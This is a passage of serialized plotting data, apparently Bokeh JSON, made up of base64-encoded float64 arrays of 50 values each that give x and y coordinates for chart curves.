cy9Q5TM9y/lbkGA8iQ2b88J1WuYubWv4aUDgDvNNS/Cxph5zh90b+6oPWmGIDNvySgE2dq/Me/hWN47f5wwr8TOAAx3L65vzzrGxo/Ja2/cBCTXr0Di78AgejXrlGfP+4un9vaCLM/vmdkCKY5vj8ntMi/zrHEPyLnNsLIQco/oZsgLSnLzz9E0BQRLKbSP1DieuHeYdU/YmuUGOEX2D/fUjPHZsfaPzSAKf6jb90/aG0kZ+YH4D8NpTGkilPhP75apb5YmuI/LoLovurb4z8YD2St2hflPy31gJLCTeY/JCiodjx95z+wm0Ji4qXoP4dDuV1Ox+k/YBN1cRrh6j/w/t6l4PLrP+v5XwM7/Ow/BvhgksP87T/37EpbFPTuPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"DVtzNiw57b/NxRMfM0/sv9upeFSTW+u/xShAKrJe6r8ZZAj09Fjpv2Z9bwXBSui/PJYTsns0578w0JJNihbmv8dMiytS8eS/mC2bnzjF478wlGD9opLivx+ieZj2WeG/9HiExJgb4L+BdD6q3a/dvyEP0Du8Htu/8AT65JeE2L8AmfhMO+LVv3kOCBtxONO/eKhk9gOI0L84VJUMfaPLvwut7OPWLMa/neFHwaqtwL948D7mG0+2v1Tcrx9XcKa/ANHISxyvOb8I5uiuXRKmP+C4d65DLbY/Kn7mZbKnwD9vmEHJMzbGPwKl1LKQwMs/zI4T6pmi0D8IPmDvQ2HTPwkdFMJ7G9Y/t+jyunbQ2D/wXcAyan/bP5I5QIKLJ94/QxwbAQhk4D/VC7OFFrDhP+/JSfuL9+I/ADVBDgM65D97K/tqFnflP9KL2b1gruY/cjQ+s3zf5z/MA4v3BArpP1DYITeULeo/dJBkHsVJ6z+jCrVZMl7sP08ldZV2au0/6b4Gfixu7j/htcu/7mjvPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"p/jJ45097L+PtWHt+2Prv2PbyxG9keq/6DmMGOrG6b/hoCbJiwPpvxzgHuuqR+i/XMf4RVCT579uJjihhObmvxTNYMRQQea/GYv2dr2j5b9CMH2A0w3lv1mMeKibf+S/KG9sth754790qNxxZXrjvwQITaJ4A+O/oF1BD2GU4r8QeT2AJy3ivxwqxbzUzeG/i0BcjHF24b8mjIa2Bifhv7LcxwKd3+C/+wGkOD2g4L/Hy54f8Gjgv9wJPH++OeC/A4z/HrES4L8GRNqMoeffv0c3EXpMut+/XpGrlHSd37/U8bBrK5Hfvzr4KI6Cld+/HkQbi4uq378UdY/xV9Dfv1SVRqh8A+C/NgKOm0An4L/20CGagFPgv1zRhWtFiOC/MNM915fF4L87ps2kgAvhv0MauZsIWuG/EP+Dgzix4b9qJLIjGRHivxpax0OzeeK/5W9Hqw/r4r+UNbYhN2Xjv+96l24y6OO/vg9vWQp05L/Iw8Cpxwjlv9VmECdzpuW/rMjhmBVN5r8WubjGt/zmvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"G3jCRLUe679NBxXsSU/qvzpxzMQSium/BbMqpwfP6L/ZyXFrIB7ov92y4+lUd+e/OGvC+pza5r8W8E928Efmv5w+zjRHv+W/8VN/DplA5b9ALaXb3cvkv7HHgXQNYeS/ayBXsR8A5L+ZNGdqDKnjv14B9HfLW+O/5oM/slQY479YuYvxn97iv92eGg6lruK/mjEu4FuI4r+8bghAvGviv2dT6wW+WOK/xtwYCllP4r8BCNMkhU/ivz7SWy46WeK/pzj1/m9s4r9kOOFuHoniv5zOYVY9r+K/ePi4jcTe4r8hsyjtqxfjv7378kzrWeO/ds9ZhXql4790K59uUfrjv94MBeFnWOS/3nDNtLW/5L+aVDrCMjDlvzy1jeHWqeW/7I8J65ks5r/Q4e+2c7jmvxSogh1cTee/3N8D90rr579ShrUbOJLov6CY2WMbQum/7BOyp+z66b9e9YC/o7zqvx46iIM4h+u/Vt8JzKJa7L8u4kdx2jbtv8w/hEvXG+6/WvUAM5EJ778AAAAAAADwvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"H4QHg9nd6b91+KK9FRjpv8UyRB4wXOi/MLS1JCCq57/Q/cFQ3QHnv8iQMyJfY+a/M+7UGJ3O5b85l3C0jkPlv+4M0XQrwuS/d9DA2WpK5L/wYgpjRNzjv3xFeJCvd+O/OfnU4aMc479E/+rWGMviv77YhO8Fg+K/xQZtq2JE4r92Cm6KJg/iv/RkUgxJ4+G/W5fksMHA4b/NIu/3h6fhv2WIPGGTl+G/RkmXbNuQ4b+N5smZV5Phv1nhnmj/nuG/yrrgWMqz4b/+81nqr9HhvxQO1Zyn+OG/LIoc8Kgo4r9k6fpjq2Hiv9ysOnimo+K/slWmrJHu4r8GZQiBZELjv/ZbK3UWn+O/pLvZCJ8E5L8qBd679XLkv6q5Ag4S6uS/RFoSf+tp5b8VaNeOefLlvzxkHL2zg+a/2s+riZEd578NLFB0CsDnv/T50/wVa+i/rroBo6se6b9Y76PmwtrpvxQZhUdTn+q/AblvRVRs6788UC5gvUHsv+ZfixeGH+2/HGlR66UF7r//7EpbFPTuvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"O0slSJx86L/ZKDUWs7fnv0CKyAMB6ea/GWEwBuQQ5r8Nn70Sui/lv8U1wR7hReS/6RaMH7dT478nNG8KmlnivyR/u9TnV+G/iOnBc/5O4L8Cyqa5d37ev2rGgQr8Udy/nau2xEUZ2r/xXOfSENXXv7K9tR8ZhtW/NrHDlRot07/OGrMf0crQv5y7S1Dxv8y/Drt7M5rax7+Y+jm+FOfCv86BlIuxzbu/L6ngPry2sb+44n8D5TCevyAUMB8+d4U/JHbTSW7vqT+qo6M3RUu3P3wXxihR08A/6ecNZG8Dxj9rfGV4hTTLPzCHRMiNMtA/jmua69zJ0j8EiJI7dF/VPzr5is2X8tc/4NvhtouC2j+iTPUMlA7dPypoI+X0ld8/liVlKvkL4T8qCaQ46EniPyZt/adphOM/4l8ggx+75D+077vUq+3lP/Mqf6ewG+c/+B8ZBtBE6D8V3Tj7q2jpP6JwjZHmhuo/+ejF0yGf6z9uVJHM/7DsP1nBnoYivO0/Dz6dDCzA7j/o2DtpvrzvPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"Grm4xrf85r9GdUOehkPmvzqd9kZ6gOW/QKfdiO6z5L+bCQQsP97jv5U6dfjH/+K/c7A8tuQY4r9+4WUt8Snhv/xD/CVJM+C/a5wW0JBq3r/f7Dx3lWDcv+dlgtFXSdq/DfT9bo8l2L/ng8bf8/XVv/oB87M8u9O/3FqaeyF20b8n9qaNs07Ov2aeaks6n8m/loetUEbfxL/Nip29RhDAv1YC0WRVZ7a/Ig/xPIUrqb8QvWpEm3WFv6RtU/LnK50/QF+SUGdUsT+qgQ9Ttmq7PzNI2GGExcI/p+wMMUDZxz8Q1fd2H+/MPyiUtYnZAtE/ooYc88WN0z9w1ZlnnRfWP/6TFleon9g/vtV7MS8l2z8jrrJmeqfdP00YUjPpEuA/Tric0L9P4T/LwC1D5YniP367+cL9wOM/HjL1h6305D9mrhTKmCTmPw26TMFjUOc/zt6RpbJ36D9gptiuKZrpP3uaFRVtt+o/20Q9ECHP6z82L0TY6eDsP0fjHqVr7O0/xerBrkrx7j9qzyEtK+/vPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]}],\\\"ys\\\":[{\\\"__ndarray__\\\":\\\"2m9PzeJ3yD9/wsrrALPHP3Dx9ogb5MY/y6rEypELxj+lnCTXwinFPx11B9QNP8Q/TeJd59FLwz9Rkhg3blDCP0IzKOlBTcE/O3N9I6xCwD+zABIYGGK+P2wRd5GBMbw/3HQL/1L0uT86h7CsSqu3P7SkR+YmV7U/iSmy96X4sj/mcdEshpCwPw+0DaMLP6w/RnxnY8ZMpz/U9HIyuUuiP2Ws5U/Bepo/irFTt3JGkD8IqNUq//V3P8zlvhl5dHG/7o8smdyMjb+q0DgYdzuZv1Xx6Lyf3KG/nQbuIGcep7+572gglWGsvx56y5FW0rC/261aSRlzs7/mtgBrVBK2v/443KpJr7i/9tcLvTpJu7+SN65Vad+9v839cJSLOMC/8ONi9cJ+wb8UILyn+8HCvyAEjIXWAcS/9eHhaPQ9xb9+C80r9nXGv5rSXKh8qce/M4mguCjYyL8qgac2mwHKv2UMgfx0Jcu/y3w85FZDzL9AJOnH4VrNv6dUloG2a86/5l9T63V1z7/yy5dv4DvQvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"cLvvC/eUuD8qO4EuZcC3P/z2R4afxLY/0b0CF6GitT+XXnDkZFu0Pz6oT/Ll77I/t2lfRB9hsT/h47y8F2CvP6ofF4hNu6s/riRL8tXVpz/LkNYCp7GjP7QDboJtoZ4/eivUafZplT9fqbWVqYGHP1iv00dLn1o/xcuSlHutgb8z0n2iVr2TvzLOJMXpBZ+/Do+hkUVWpb8mw+5Wp1arv7wyfhUSwbC/FmwmA2Prs7+wPrFwSym3v6DbX1rQebq/9HNzvPbbvb9enJbJYafAv4QtZ+2daMK/9gXMRzIxxL8+vuVWoQDGv+Lu1Jht1se/aDC6ixmyyb9hG7atJ5PLv05I6Xwaec2/vE90d3Rjz78Y5bsN3KjQvxkoivOzodG/KD01LAOc0r+HcM32ipfTv3oOY5IMlNS/R2MGPkmR1b8yu8c4Ao/Wv35it8H4jNe/caXlF+6K2L9O0GJ6o4jZv1gvPyjahdq/1w6LYFOC278Mu1Zi0H3cvz2AsmwSeN2/rqquvtpw3r+jhluX6mffvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"AAAAAAAAAAA4S5cMavQzv2QpZdRs0VO/g2i5jz0kZr+75QBkcotzvxcScxQ3U36/VjYQ8iauhb9gFPvuy0yNv2peOIN9/5K/rOTzXhLfl7/KaWvN3EGdv04drYhKkqG/+9G9tvnBpL9QeUUSWC6ov8C5obzB1au/rTkw15K2r7/FT6fBk+exv91ILfHtDrS/UtvYCoZQtr9f2lgfiqu4vzIZXD8oH7u/BmuRe46qvb+G0VNydSbAvz7KpsW1gsG/RQkZQJ/pwr80+AHqyFrEv6YAucvJ1cW/OIyV7Thax7+EBO9XrefIvyLTHBO+fcq/rGF2JwIczL/BGVOdEMLNv/hkCn2Ab8+/dtZ5Z/SR0L+cLbNNcG/Rv7rsXHX/T9K/oMiiYm0z078adrCZhRnUv/SpsZ4TAtW//BjS9eLs1b8BeD0jv9nWv817H6tzyNe/MNmjEcy42L/2RPbak6rZv+tzQouWndq/4Bq0pp+R27+f7naxeobcv/ajti/ze92/s++epdRx3r+jhluX6mffvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"JtTwmwV14T/TwuCqsujgP8hy2SuDVeA/MD0z/nJ33z+fAcAJMDfePwSo1jrC6tw/gKX0Ua6S2z83b5cPeS/aP0d6PDSnwdg/0zthgL1J1z/9KIO0QMjVP+e2H5G1PdQ/tFq01qCq0j+Iib5Fhw/RP/xwdz3b2c4/frlSRLGGyz/N1gkhmibIPzKzl1SfusQ/9Dj3X8pDwT+kpEaISYa7PyjTLQRwc7Q/6aMzazaiqj9o1gF6eIWYP+DWhvJDm3G/LAXWwhG8oL+s6qKMGVOvvx7x5ess+ra/dqEyUNZNvr/q2KD4OtHCv9Smjmb8esa/MtDn8CUjyr/OarEWrsjNvyxGeKtFtdC/SiVVGNqD0r+c3XGRj0/UvwD6UFbhF9a/WAV1pkrc179/imDBRpzZv1UUluZQV9u/tC2YVeQM3b+AYelNfLzev0odhgfKMuC/6KFBbNMD4b8IhOj0F9HhvxgJPEFVmuK/inb98Ehf47/MEe6jsB/kv0wgz/lJ2+S/eudhktKR5b/FrGcNCEPmvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"SewfrTSw3j//AD19y7fdP31iSt3nr9w/2nuftBCZ2z8ouJPqzHPaP3+CfmajQNk/8UW3DxsA2D+abZXNurLWP4dkcIcJWdU/0pWfJI7z0z+QbHqMz4LSP9ZTWKZUB9E/c20hs0gDzz+lAPYai+TLP2M33VJ+s8g/3ueFKTBxxT896J5trh7CP1kdrtsNer0/smK68Y6atj+qmYB190GvPzYQO6jfHqE/gA38sm2Adj9Ucq1KjkyXv85HLLDnP6q/xeiyV058tL/R/iN0F+a7v9jcBciZrcG/kjYGh8Nsxb9kNmQoey/JvyQGcd2y9My/0ee+a65d0L9g3u2jNUHSv6T77S9oJNS/i9RnKL8G1r/+/QOms+fXv+QMa8G+xtm/LpZFk1mj27/GLjw0/Xzdv5Rr97wiU9+/wPAPo6GS4L++Ei/0a3nhvzZmLd6sXeK/oDVf7SA/479vyxiuhB3kvxlyrqyU+OS/FHR0dQ3Q5b/UG7+Uq6Pmv9Cz4pYrc+e/fYYzCEo+6L9P3gV1wwTpvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"XHMOL+NH2j/o+ggCv3XZP9Oagad2m9g/lU6QYGK51z+kEU1u2s/WP3rfzxE339U/j7MwjNDn1D9fiYce/+nTP1xc7Akb5tI/BCh3j3zc0T/L5z/we83QP1ouvdrics8/P2PWj2pBzT8/ZfuBPwfLP0ArXDMSxcg/O6woJpN7xj8a35DccivEP9G6xNhh1cE/pmzoOSH0vj8YkZ5WXzS6P+TQCwzfbLU/5BmQXgGfsD8FtBalTpinP1j8dbHH1ps/NLgzgxHogD9ggs7nNuSFv+Kjjd0gVp6/WMrstEHZqL/71tLBb0Cxv4bQGOmTD7a/5GPoS6zYur9Fo+HlV5q/v1xQUtmaKcK/MbfoVvKAxL8vD4TpgdLGv2Rh9A6ZHcm/4rYJRYdhy7+5GJQJnJ3Nv/aPY9om0c+/0hKkmrv90L9u8QhM7g3Sv1NoSEDTGNO/C3xKNhIe1L8aMffsUh3VvwmMNiM9Fta/YpHwl3gI17+rRQ0KrfPXv2utdDiC19i/Ks0O4p+z2b9wqcPFrYfavw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"C5X0rsO31T8ZvuSNSwTVP9Np4VuhPtQ/TRemMEtn0z+YRe4jz37SP8xzdU2zhdE/+CD3xH180D9pmF1EacfOPyPpr/m7d8w/QjJc2f8Kyj/0cdkSQYLHP16mntWL3sQ/p80iUewgwj/1y7lp3ZS+P+zah2A+uLg/lMSd5ROusj9QCtOv7PCoPwxkZFn4ZZg/4OJgCSAvW7/2UJEyhGCcv3O5amAuzau/u6DqiwbWtL/tI9bAVuS7vwb1BLi3h8G/YvtLHZwqxb/gJslgzNnIv1h5BVM8lMy/V/pE4m8s0L9Zze9CVRPSv5+2xzNI/tO/EjcRncLs1b+ozxBnPt7Xv0QBC3o10tm/2UxEviHI279OMwEcfb/dv5A1hnvBt9+/SOqLYjTY4L+cSH1wdtThvzt2udtj0OK/mLNimLnL478uQZuaNMbkv3BfhdaRv+W/1E5DQI635r/TT/fL5q3nv9+iw21Youi/dIjKGaCU6b8EQS7EeoTqvwUNEWGlceu/7yyV5Nxb7L844dxC3kLtvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"EVrPZ78G0T/6dNgBm3/QP9e2vzhT6s8/2rPEuzPPzj8EernZNK7NP2mil9+zh8w/FMZYGg5cyz8XfvbWoCvKP3pjamLJ9sg/UA+uCeW9xz+jGrsZUYHGP4Uei99qQcU/ArQXqI/+wz8rdFrAHLnCPwn4THVvccE/rdjoE+UnwD9IXk/Stbm9P/koBoRcIbs/h0Pp1niHuD8S4Otkxey1P7UwAcj8UbM/imccmtm3sD9gbWHqLD6sP36gYubbEKc/pswiXDXpoT81rBD/XJGZP0KE5hHywo4/yI3o9qQWdT+QnTfrn/xyv9QrsHEgVI2/pp+XFCV4mL8k3h8TPhOhv6LRAYMV2aW/HEYLpiOMqr9U11VI8yqvv4iQ/ZoH2rG/kl+KHQETtL+nJt6Rqz+2v62zBV5MX7i/hNQN6Chxur8XVwOWhnS8v0YJ882qaL6/etz0em0mwL8DGvo5LhDBvzCkD1c68cG/8+E7hTTJwr8+OoV3v5fDvwQU8uB9XMS/NtaIdBIXxb/F50/lH8fFvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"2m9PzeJ3yD9bTYVLq6THP3DWh5Epq8Y/kc/Bk1OMxT8s/Z1GH0nEP7kjh56C4sI/qgfoj3NZwT/u2lYe0F2/Px8zeCGsx7s/0qAJEmfytz/yrODY7N+zP8rApb1SJK8/KohrGREWpj/Ag3st2TGZPxD9OzrohXU/fLIwDZd6jr83MVL3Y1Givz18H8OlY62/7n2EqslotL8sz7Ftqku6v3QUIaFELMC/HgGwH71Gw78c6Rq+SHTGvwII94fxs8m/WJnZiMEEzb9U7Ctm4TLQv76AA6//6tG/sie+pECq07/4fiZNKXDVv1AkB64+PNe/grUqzQUO2b9a0FuwA+Xav5USZV29wNy//xkR2reg3r8uQhUWPELgv7f3vazBNeG/gPznM68q4r9sn3guxyDjv10vVR/MF+S/NftiiYAP5b/aUYfvpgfmvyyCp9QBAOe/D9uou1P4579lq3AnX/DovxJC5Jrm5+m/+u3omKze6r///WOkc9TrvwPBOkD+yOy/6oVS7w687b+Xm5A0aK3uvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"i5NS4tk+6j86BEzCLmzpP6BZW4bJj+g/J60l1Qqq5z82GFBVU7vmPz20f60DxOU/oJpZhHzE5D/Q5IKAHr3jPzGsoEhKruI/MQpYg2CY4T84GE7XwXvgP2nfT9adsd4/GVQVy9Bf3D9cwTba3QLaPwFa/lCGm9c/31C2fIsq1T/H2KiqrrDSP5EkICixLtA/Kc7MhKhKyz8/pouNsirGPxg3EQUD/8A/r8zjCzmStz/CZgirBiqqP9BrY+FQS4Q/RnP11RoboL+gdsgK3qyyvyT+E46CUb2/e0La3zr8w7/an0A1WU/Jv4SxqKyZoM6/5Qi/1Tz30b+LLZZLu5vUv9aTj+oGPde/+AhhZV7a2b8WWsBuAHPcv15UY7krBt+/fuL/e4/J4L+OvKVujAziv/Ue/g2sS+O/RvBjs42G5L8aFzK40LzlvwV6w3UU7ua/nv9yRfgZ6L94jpuAG0DpvykNmIAdYOq/SmLDnp15679udHg0O4zsvywqEpuVl+2/GGrrK0yb7r/JGl9A/pbvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"J/I/L6Zo6z8iwYGe3YzqPyMFg+Ncp+k/42eSloa46D8Yk/5PvcDnP38wFqhjwOY/zeknN9y35T/BaIKViafkPw9XdFvOj+M/cl5MIQ1x4j+hKFl/qEvhP1pf6Q0DIOA/pViXyv7c3T+Mcp07AG/bP9hfgp/P9tg//XPjJjJ11j9qAl4C7erTP5Nej2LFWNE/2bcp8AB/zT/Pmxfnxj/IP+4PIwtn9cI/K3YNe9dCuz9xiPq+voqwPziRCpJiFpc/bKGTRxgmlL+Mn41DEb+vvxjErUhaubq/1zsSIvPJwr9RztroCzbIv5nydRdtn82/4oBUJkaC0b9+qpyT7zHUv6gi9qLt3da/8pXDI3uF2b/lsGfl0ifcvw4gRbcvxN6/AEhfNOas4L+kVpvk8fPhvzgSCFTYNuO/AtFW6jZ15L9M6TgPq67lv1yxXyrS4ua/eX98o0kR6L/nqUDirjnpv+2GXU6fW+q/12yET7h267/nsWZNl4rsv2asta/Zlu2/mrIi3hyb7r/JGl9A/pbvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"0Oszkylz7D9XmwMKLo/rPyoBVQlnoeo/0PoQVzmq6T/JZSC5CaroP5wfbPU8oec/zQXd0TeQ5j/l9VsUX3flP2TN0YIXV+Q/zmkn48Uv4z+rqEX7zgHiP4FnFZGXzeA/oQf/1Agn3z9Gttma9KfcP/WVjP+7Hto/vGHpjiiM1z+c1MHUA/HUP6ap51wXTtI/wDdZZllIzz+szMTGGujJPyWItfIFfcQ/ecCdA1wRvj8PlmgXTBmzP0r6JKAEKqA/6PDsGNnCh78An8ElTBesv9oq8E+4Ibm/EGKC1bUbwr+O12v6zKTHv9L/EH+OKs2/YjLnpbNV0b8xSIAk4hLUv0QGgi8JzNa/lrEaO1+A2b8bj3i7Gi/cv8bjySRy196/Snqe9U284L88A4BB5wjivzavIDAgUeO/rqCX+5OU5L8l+vvd3dLlvxTeZBGZC+e/9m7pz2A+6L9Gz6BT0Grpv34hotaCkOq/HYgEkxOv67+aJd/CHcbsv3IcSaA81e2/IY9ZZQvc7r8hoCdMJdrvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"jY9m2jNd7T9t6OwdCXLsP+jyNuYJfes/956EuJx+6j+P3BUaKHfpP6ebKpASZ+g/OswCoMJO5z9EXt7Oni7mP7JB/aENB+U/g2afnnXY4z+vvARKPaPiPy40bSnLZ+E/97wYwoUm4D8Ejo4yp7/dP5CEcWg2KNs/hD1aMIaH2D/GmMiUY97VP092PKCbLdM/DrY1Xft10D/db2isn3DLP8y3byvM6sU/xQOBTBZcwD9eJzhJMIy1P3SdAiOvqaQ/gFNghCxVbb+wmWrbPF6ovzIQNmFTdbe/guZSCgpdwb/BgQIvFv3Gv/cZqgk0mcy/nPekwuQX0b/cIHFGnt/Tv8aouYX5ota/bK/+dSlh2b/aVMAMYRncvx+5fj/Tyt6/Kv7cgVm64L9AH3mnGQviv9zPU4tDV+O/BCAtqHCe5L/DH8V4OuDlvx7f23c6HOe/Hm4xIApS6L/M3IXsQoHpvys7mVd+qeq/TJkr3FXK678wB/30YuPsv+GUzRw/9O2/Z1JdzoP87r/KT2yEyvvvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"amjG4bkl7j+gXfzpazTtP11jEMZKOew/hchcSr406z/12ztLLifqP5XsB50CEek/R0kbFKPy5z/zQNCEd8zmP3MigcPnnuU/rzyIpFtq5D+M3j/8Oi/jP+pWAp/t7eE/r/QpYdum4D98DSIu2LTeP/S3IyoPEtw/jIYNXytm2T8EF5R1/LHWPysHbBZS9tM/xvRJ6vsz0T8x+8Qzk9fMP9x+1JsVPcc/D7ArXh6awT/KlGeYmeC3P2wlWN0ABak/gBB1H/7ScT9AcsjVMpikv54UFNUctrW/OuXi3M2OwL+8cRO7qz/Gv0l0srMI7Mu/pViruiLJ0L+kdktXYZjTv1L2BIfwYta/7DkjoQAo2b+qo/H8webbv8KVu/Fknt6/Ozlm6wyn4L/+zbeBiPrhv0U6eGc9SeO/Li9NyMOS5L/WXdzPs9blv1p3y6mlFOe/1izAgTFM6L9mL2CD73zpvyYwUdp3puq/OOA4smLI67+08Lw2SOLsv7gSg5PA8+2/YPcw9GP87r/KT2yEyvvvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"mofix9bL7j9HjS6OeNXtPyPozMhS1ew/mhR3Kc7L6z8Nj+ZhU7nqP+jT1CNLnuk/k1/7IB576D96rhMLNVDnP/8815P4HeY/jYf/bNHk5D+KCkZIKKXjP2RCZNdlX+I/fqsTzPIT4T+LhBuwb4bfPzoGGFo729w/49SP+Rkn2j9P6fXx3GrXP088vaZVp9Q/usZYe1Xd0T+2AnemWxvOPwzKsCNgcsg/FtVENVvBwj/rKjJE3xO6PxrzTcQAN60/uMqfkfrmiD/Y5LW7fMmgv3DmOSAT5rO/lP8cZ9ljv78/LVzSZW3Fv/gJoCXSI8u/JhI6c8dp0L9XRfmmfD3Tv7Wlmko3DNa/dTqr+iXV2L/CCrhTd5fbv8sdTvJZUt6/Yj19OX6C4L9uFCW5Rtfhv6AXZcYdJ+O/jsqDr5px5L/UsMfCVLblvwdOd07j9Oa/wCXZoN0s6L+UuzMI213pvxyTzdJyh+q/8y/tTjyp67+tFdnKzsLsv+PH15TB0+2/K8ov+6vb7r8foCdMJdrvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"WPYp8sxO7z/8TP43d1TuP3syn9dvUO0/Zmpo7R9D7D9HuLWV8CzrP7Lf4uxKDuo/MaRLD5jn6D9ayUsZQbnnP7QSPyevg+Y/0kOBVUtH5T9CIG7AfgTkP5VrYYSyu+I/WOm2vU9t4T8cXcqIvxngP98U7wPWgt0/xGk0i3bJ2j/8PxzgMgjYP64eXjvdP9U/9oyx1Udx0j/hI5zPiTrPP35p1lRNick/+PiArH7Qwz8vwRWQhCO8PwxdxjF5nbA/RIjHg5BIlD8YTSb+xuyZv3TmzYw/B7K/Ivv8Y7yOvb9jWhyxL4fEv3V7UdJvQcq/gdIuJHr0z7+wqKIaVc/Sv+L0Esotn9W/vsaw5/Ro2L8il8Q62Cvbv+7elooF592/hQs4T9VM4L8rXMyeeqHhv9qdrJcJ8eK/AA19HRk75L8U5uETQH/lv4Jlf14Vvea/vMf54C/05780SfV+JiTpv1kmFhyQTOq/oJsAnANt67935VjiF4Xsv09Aw9JjlO2/mejjUH6a7r/HGl9A/pbvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"Ql5W5Qau7z99BktEoLLuP2XQJikuse0/o6Z43Aaq7D/Tc8+mgJ3rP58iutDxi+o/qJ3HorB16T+Wz4ZlE1voPwajhmFwPOc/oQJW3x0a5j8K2YMncvTkP+UQn4LDy+M/1pQ2OWig4j+CT9mTtnLhP4srFtsEQ+A/Lif4rlIj3j+M5DOj9L3bP39k/SOcVtk/TXxywvXt1j8+AbEProTUP5rI1pxxG9I/Uk8D9tllzz9w5552mZfKPwwEvN16zcU/vE+WTdcIwT8l6tLQD5a4P5R6xEGXVa4/wLdHP1FKlz8IdjXvHn+Lv1CHoEfVM6m/nHtzvc2otb+SAVnm2pm+vy3ABO0vtcO/b9EGKtULyL/6CfcHhE/Mv57fTLJxP9C/V6PZDk1M0r/f+oOIp03Uv+wQLo7UQta/NRC6jicr2L93Iwr58wXav2Z1ADyN0tu/vTB/xkaQ3b8xgGgHdD7fvzxHzzY0buC/KcMBtLs04b85ybwyevLhv8hucWoZp+K/MsmQEkNS47/U7YvioPPjvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"zeIK8Bfp7z+DycUrGeruP8iAZjeJ4e0/ts5fidHP7D9eeSSYW7XrP9ZGJ9qQkuo/N/3axdpn6T+XYrLRojXoPwc9IHRS/OY/oVKXI1O85T97aYpWDnbkP6hHbIPtKeM/QLOvIFrY4T9bcsekvYHgPxWWTAwDTd4/zwZ+dh6O2z8Jwwh1oMfYP/RW0vRb+tU/vE7A4iMn0z+KNrgry07QPxc1P3lJ5Mo/1A24BAckxT9mH0yn6by+P+WlqH9xKrM/rH9vGMVPnj9IBxBHLQ2Qv0CdwSjxL6+/4lUkzsomu790M7wlO1bDv3poY6zXEsm/q7E8IZXHzr9eez7VZjnSv6aPLLdtCdW/hAmDSQzT17/IXFyfb5Xav0f90svET92/bq8AcZwA4L+q+oB6fFThv0Sa9wsZo+K/JMjxrgjs4782vvzs4S7lv2S2pU87a+a/l+p5YKug57+6lAapyM7ov7Tu2LIp9em/dTJ+B2UT67/jmYMwESnsv+pedrfENe2/c7vjJRY57r9p6VgFnDLvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"DGzkprz/7z+TKTeeIQDvPwuyEkgf9+0/mVYnYh7l7D9iaCWqh8rrP5E4vd3Dp+o/TBifujt96T+8WHv+V0voPwNLAmeBEuc/SkDksSDT5T+6idGcno3kP3h4euVjQuM/rV2PSdnx4T+BisCGZ5zgPzKgfLXuhN4/O/9xBuPI2z9m1MF7fQXZPwPCzJCPO9Y/ZWrzwOpr0z/Wb5aHYJfQP0npLMCEfcs/Pjaoi8PFxT8yC2BoIAnAP2BZK5p8krQ/an0pwgAfoj/Agglob5uDvxzVJ8UQ5qu/zOYgEglsub/izRIHlW3CvyTAj7SSHsi/hAXGmlrHzb+8LHrhJLPRv627LJvefNS/Rw0a/whA1786f+GR0vvZvzZvIthpr9y/9Tp8Vv1Z378SIMfIXf3gvzru+4ZpSOK/yjYsKLmN47+eqKfu48zkv4/yvRyBBea/dMO+9Cc3578kyvm4b2Hov3q1vqvvg+m/UTRdDz+e6r+A9SQm9a/rv+CnZTKpuOy/SvpudvK37b+Wm5A0aK3uvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"McdtMdvx7z8eEUs1x/LuP8aq7a1/6u0/pOxLLWzZ7D8vL1xF9L/rP+bKFIh/nuo/QBhsh3V16T++b1jVPUXoP9Ip0ANADuc//Z7JpOPQ5T+3JztKkI3kP4AcG4atROM/zdVf6qL24T8erP8I2KPgP9Lv4edomd4/XSNUej/j2z/Do0LtAibZPwUimmSCYtY/GE9HBI2Z0z/u2zbw8cvQPwHzqpgA9cs/hrEfeQ5Mxj9iVaXJq57AP9uAKqTt3LU/cFIjaTf0pD9gCaN5Nfxsv4j/fdqbi6i/gEkRgGyct7/MmEhq